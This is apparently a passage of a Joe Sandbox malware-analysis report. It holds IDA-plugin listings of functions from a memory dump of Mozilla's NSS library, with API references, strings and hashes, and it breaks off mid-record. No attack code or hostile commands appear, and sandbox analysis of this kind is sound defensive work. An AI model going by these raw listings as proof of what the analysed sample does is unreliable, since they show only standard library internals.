Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: e4db0659b6109f399a8a2c5d3f73e75084473a11941c800956e1201907de4c8a
Instruction ID: 13eb6ff4318b3fd66fd22ff8231a98eaf6ab3c01f6cc5b15ad8245fc15bf23e8
Opcode Fuzzy Hash: e4db0659b6109f399a8a2c5d3f73e75084473a11941c800956e1201907de4c8a
Instruction Fuzzy Hash: DC61D4B5D0010A9FDB10CF65CC44AAFB7B5FF88358F144428DC29A7710EB36A915CBA5

Function 6C648E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C648E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C648E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C648EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C7718D0,?), ref: 6C648F03
PR_CallOnce.NSS3(6C7A2AA4,6C6A12D0), ref: 6C648F19
PL_FreeArenaPool.NSS3(?), ref: 6C648F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C648F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C648F65
PL_FinishArenaPool.NSS3(?), ref: 6C648FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C648FFE
PR_CallOnce.NSS3(6C7A2AA4,6C6A12D0), ref: 6C649012
PL_FreeArenaPool.NSS3(?), ref: 6C649024
PL_FinishArenaPool.NSS3(?), ref: 6C64902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C64903E

Strings

security, xrefs: 6C648EE7

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 73171be583fb1ff46a249535a527f193dedd2c0a3bdfe0f417d9f60283168fa9
Instruction ID: 3a00f97e3767b76445513c7d0d77c6d9decf78ae08a2d7c37aad76b9c597b4bf
Opcode Fuzzy Hash: 73171be583fb1ff46a249535a527f193dedd2c0a3bdfe0f417d9f60283168fa9
Instruction Fuzzy Hash: 48512871508300ABD7109A999C40FAB77E8AF8A75CF40C82EF955D7B50E731D90A87AB

Function 6C70CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C70CC7B), ref: 6C70CD7A

Part of subcall function 6C70CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C67C1A8,?), ref: 6C70CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C70CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C70CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C70CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C70CD8E

Part of subcall function 6C6305C0: PR_EnterMonitor.NSS3 ref: 6C6305D1
Part of subcall function 6C6305C0: PR_ExitMonitor.NSS3 ref: 6C6305EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C70CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C70CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C70CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C70CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6C70CE48

Strings

freeaddrinfo, xrefs: 6C70CD9F, 6C70CE10
getaddrinfo, xrefs: 6C70CD88, 6C70CDF9
getnameinfo, xrefs: 6C70CDB2, 6C70CE23
ws2_32.dll, xrefs: 6C70CD75
wship6.dll, xrefs: 6C70CDE3

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 76e164ba5f14b90c7ccab57f8cd5ff9454828bdd6744c9ba81abff939bda4ec8
Instruction ID: 902391a2c55099e210bf10ec98afef391ddf4e9c5705460dffadd7ec24308a04
Opcode Fuzzy Hash: 76e164ba5f14b90c7ccab57f8cd5ff9454828bdd6744c9ba81abff939bda4ec8
Instruction Fuzzy Hash: 7311B4E6F0212197EB11AAB63E01A9E38985B0315EF186534E809D6E41FF21D608C3FB

Function 6C751C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6C7513BC,?,?,?,6C751193), ref: 6C751C6B
PR_NewLock.NSS3(?,6C751193), ref: 6C751C7E

Part of subcall function 6C7098D0: calloc.MOZGLUE(00000001,00000084,6C630936,00000001,?,6C63102C), ref: 6C7098E5

PR_NewCondVar.NSS3(00000000,?,6C751193), ref: 6C751C91

Part of subcall function 6C62BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C6321BC), ref: 6C62BB8C

PR_NewCondVar.NSS3(00000000,?,?,6C751193), ref: 6C751CA7

Part of subcall function 6C62BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C62BBEB
Part of subcall function 6C62BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C62BBFB
Part of subcall function 6C62BB80: GetLastError.KERNEL32 ref: 6C62BC03
Part of subcall function 6C62BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C62BC19
Part of subcall function 6C62BB80: free.MOZGLUE(00000000), ref: 6C62BC22

PR_NewCondVar.NSS3(00000000,?,?,?,6C751193), ref: 6C751CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6C751193), ref: 6C751CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6C751193), ref: 6C751CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6C751193), ref: 6C751D1A

Part of subcall function 6C709BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C631A48), ref: 6C709BB3
Part of subcall function 6C709BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C631A48), ref: 6C709BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6C751193), ref: 6C751D3D

Part of subcall function 6C6EDD70: TlsGetValue.KERNEL32 ref: 6C6EDD8C
Part of subcall function 6C6EDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6EDDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6C751193), ref: 6C751D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6C751193), ref: 6C751D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6C751193), ref: 6C751D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6C751193), ref: 6C751D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6C751193), ref: 6C751D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6C751193), ref: 6C751D93
PR_DestroyLock.NSS3(00000000,?,?,6C751193), ref: 6C751D9F
free.MOZGLUE(00000000,?,6C751193), ref: 6C751DA8

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: ce5da6db4a987d0f68b12fa7682612be28c3966b4d65b8e07abe257cbcf5f7d8
Instruction ID: 669a3002faabaaa8228d2cc463002df827e56e78537bf39baeffb6b07263a694
Opcode Fuzzy Hash: ce5da6db4a987d0f68b12fa7682612be28c3966b4d65b8e07abe257cbcf5f7d8
Instruction Fuzzy Hash: 7E31E9F1E007015BEB119F64AD01A5776F4EF0664DF040539E84A87B41FF31E818CBA6

Function 6C665E60 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C665ECF
EnterCriticalSection.KERNEL32(?), ref: 6C665EE3
PR_Unlock.NSS3(?), ref: 6C665F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6C665FB5

Strings

S&hl, xrefs: 6C6662E3
S&hl, xrefs: 6C665E6C, 6C66627F, 6C665F12
NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6C6661F4

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT$S&hl$S&hl
API String ID: 2280678669-2429022758
Opcode ID: 3ddec0a481be8d8d525ef2de1c9879d9f73bd9f1fe10f721885b7830a7269615
Instruction ID: 3838fb7054a96aa3c421eda2e46d16baf299c01aef1439fc239b2ee4179e1763
Opcode Fuzzy Hash: 3ddec0a481be8d8d525ef2de1c9879d9f73bd9f1fe10f721885b7830a7269615
Instruction Fuzzy Hash: EAF105B5A00215CFDB44CF29D984B86BBF4FF09304F1582AAD8089B746E774EA85CF95

Function 6C6B0C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,kl), ref: 6C6B0C81

Part of subcall function 6C69BE30: SECOID_FindOID_Util.NSS3(6C65311B,00000000,?,6C65311B,?), ref: 6C69BE44

Part of subcall function 6C688500: SECOID_GetAlgorithmTag_Util.NSS3(6C6895DC,00000000,00000000,00000000,?,6C6895DC,00000000,00000000,?,6C667F4A,00000000,?,00000000,00000000), ref: 6C688517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6B0CC4

Part of subcall function 6C69FAB0: free.MOZGLUE(?,-00000001,?,?,6C63F673,00000000,00000000), ref: 6C69FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C6B0CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C6B0D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C6B0D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C6B0D7D
free.MOZGLUE(00000000), ref: 6C6B0DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6B0DC1
free.MOZGLUE(00000000), ref: 6C6B0DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6B0E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C6B0E0F

Part of subcall function 6C6895C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C667F4A,00000000,?,00000000,00000000), ref: 6C6895E0
Part of subcall function 6C6895C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C667F4A,00000000,?,00000000,00000000), ref: 6C6895F5
Part of subcall function 6C6895C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C689609
Part of subcall function 6C6895C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C68961D
Part of subcall function 6C6895C0: PK11_GetInternalSlot.NSS3 ref: 6C68970B
Part of subcall function 6C6895C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C689756
Part of subcall function 6C6895C0: PK11_GetIVLength.NSS3(?), ref: 6C689767
Part of subcall function 6C6895C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C68977E
Part of subcall function 6C6895C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C68978E

Strings

*,kl, xrefs: 6C6B0DCC
-$kl, xrefs: 6C6B0C64
*,kl, xrefs: 6C6B0C69, 6C6B0DE0, 6C6B0C80, 6C6B0C8B, 6C6B0CAF

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,kl$*,kl$-$kl
API String ID: 3136566230-1984258503
Opcode ID: f03bc4d38b439e5ff50576ef1c6c9ca98e43ccbce49250bcec2f2498cfaddb8b
Instruction ID: 0ffbcaa75884fbc8d98b6acbff3a7034f48efb94109f5511c2d5bbb6e2b91d59
Opcode Fuzzy Hash: f03bc4d38b439e5ff50576ef1c6c9ca98e43ccbce49250bcec2f2498cfaddb8b
Instruction Fuzzy Hash: 6B41C2F1901245ABEB009F65DD45BEF7AB4EF0530CF100424E91567B81E735AA24CBEE

Function 6C6A5CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6C6A5EC0,00000000,?,?), ref: 6C6A5CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6C6A5CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C6A5CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C6A5D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6C6A5EC0,00000000,?,?), ref: 6C6A5D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6C6A5D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6A5D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6A5D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6C6A5D80

Strings

extern:, xrefs: 6C6A5CEA, 6C6A5D4B
sql:, xrefs: 6C6A5CD1, 6C6A5D36
NSS_DEFAULT_DB_TYPE, xrefs: 6C6A5D1A
multiaccess:, xrefs: 6C6A5CB8
dbm:, xrefs: 6C6A5D03, 6C6A5D60

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: e982b040ce18212bc72fc4d46fa77e3ef6c5acf17409aa5f52de79531f0457ea
Instruction ID: 3cc9771abf8c2f1d4094f97630ecd7d5efc4c9290142cee9c63d110866d06fd1
Opcode Fuzzy Hash: e982b040ce18212bc72fc4d46fa77e3ef6c5acf17409aa5f52de79531f0457ea
Instruction Fuzzy Hash: 1631E8A07427516BEB00BEB59C48B6637E8AF02349F140530FE56E6A82E775ED13C25D

Function 6C6A6CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6C771DE0,?), ref: 6C6A6CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6A6D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C6A6D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C6A6D82
DER_GetInteger_Util.NSS3(?), ref: 6C6A6DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6A6DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C6A6E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C6A6F19
PK11_DigestBegin.NSS3(00000000), ref: 6C6A6F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C6A6F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C6A7011
PK11_FreeSymKey.NSS3(00000000), ref: 6C6A7033
free.MOZGLUE(?), ref: 6C6A703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C6A7060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C6A7087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C6A70AF

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: d342dc643f7ba19a16e23fe8387a0e2bd48c7e00228800e29f823f04cc3fb68a
Instruction ID: e8ea81b97705913accae615bc60ca2e1efba33ee28fb06caad21608a846586e6
Opcode Fuzzy Hash: d342dc643f7ba19a16e23fe8387a0e2bd48c7e00228800e29f823f04cc3fb68a
Instruction Fuzzy Hash: 27A118B15092009BEB009BA8DC45B9B72E5EB8530CF244939E919CBB81F775DC47879B

Function 6C66AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C64AB95,00000000,?,00000000,00000000,00000000), ref: 6C66AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6C64AB95,00000000,?,00000000,00000000,00000000), ref: 6C66AF39
PR_Unlock.NSS3(?,?,?,6C64AB95,00000000,?,00000000,00000000,00000000), ref: 6C66AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6C64AB95,00000000,?,00000000,00000000,00000000), ref: 6C66AF69
TlsGetValue.KERNEL32 ref: 6C66B06B
EnterCriticalSection.KERNEL32(?), ref: 6C66B083
PR_Unlock.NSS3(?), ref: 6C66B0A4
TlsGetValue.KERNEL32 ref: 6C66B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6C66B0D9
PR_Unlock.NSS3 ref: 6C66B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C66B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C66B182

Part of subcall function 6C69FAB0: free.MOZGLUE(?,-00000001,?,?,6C63F673,00000000,00000000), ref: 6C69FAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C66B177

Part of subcall function 6C6EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6EC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6C64AB95,00000000,?,00000000,00000000,00000000), ref: 6C66B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6C64AB95,00000000,?,00000000,00000000,00000000), ref: 6C66B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6C64AB95,00000000,?,00000000,00000000,00000000), ref: 6C66B1C2

Part of subcall function 6C691560: TlsGetValue.KERNEL32(00000000,?,6C660844,?), ref: 6C69157A
Part of subcall function 6C691560: EnterCriticalSection.KERNEL32(?,?,?,6C660844,?), ref: 6C69158F
Part of subcall function 6C691560: PR_Unlock.NSS3(?,?,?,?,6C660844,?), ref: 6C6915B2

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: e56e8ebd8ef609ebd753a2d0c5bb033d08c72349438209baccf3198e31d8c229
Instruction ID: 50a7a2aadc3ec07b4044a26ac9cab359fbeec4d9e364bd42fa70231dc1cb2b20
Opcode Fuzzy Hash: e56e8ebd8ef609ebd753a2d0c5bb033d08c72349438209baccf3198e31d8c229
Instruction Fuzzy Hash: CCA1C3B1D00205EBEF009F65DC41AEEBBB4EF49308F144135E90597B52E731E959CBAA

Function 6C662C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?fl,?,6C65E477,?,?,?,00000001,00000000,?,?,6C663F23,?), ref: 6C662C62
EnterCriticalSection.KERNEL32(0000001C,?,6C65E477,?,?,?,00000001,00000000,?,?,6C663F23,?), ref: 6C662C76
PL_HashTableLookup.NSS3(00000000,?,?,6C65E477,?,?,?,00000001,00000000,?,?,6C663F23,?), ref: 6C662C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C65E477,?,?,?,00000001,00000000,?,?,6C663F23,?), ref: 6C662C93

Part of subcall function 6C6EDD70: TlsGetValue.KERNEL32 ref: 6C6EDD8C
Part of subcall function 6C6EDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6EDDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C65E477,?,?,?,00000001,00000000,?,?,6C663F23,?), ref: 6C662CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C65E477,?,?,?,00000001,00000000,?,?,6C663F23,?), ref: 6C662CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C65E477,?,?,?,00000001,00000000,?,?,6C663F23), ref: 6C662CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C65E477,?,?,?,00000001,00000000,?), ref: 6C662CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C65E477,?,?,?,00000001,00000000,?), ref: 6C662D4D
EnterCriticalSection.KERNEL32(?), ref: 6C662D61
PL_HashTableLookup.NSS3(?,?), ref: 6C662D71
PR_Unlock.NSS3(?), ref: 6C662D7E

Part of subcall function 6C6307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5C204A), ref: 6C6307AD
Part of subcall function 6C6307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5C204A), ref: 6C6307CD
Part of subcall function 6C6307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5C204A), ref: 6C6307D6
Part of subcall function 6C6307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5C204A), ref: 6C6307E4
Part of subcall function 6C6307A0: TlsSetValue.KERNEL32(00000000,?,6C5C204A), ref: 6C630864
Part of subcall function 6C6307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C630880
Part of subcall function 6C6307A0: TlsSetValue.KERNEL32(00000000,?,?,6C5C204A), ref: 6C6308CB
Part of subcall function 6C6307A0: TlsGetValue.KERNEL32(?,?,6C5C204A), ref: 6C6308D7
Part of subcall function 6C6307A0: TlsGetValue.KERNEL32(?,?,6C5C204A), ref: 6C6308FB

Strings

#?fl, xrefs: 6C662C43

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

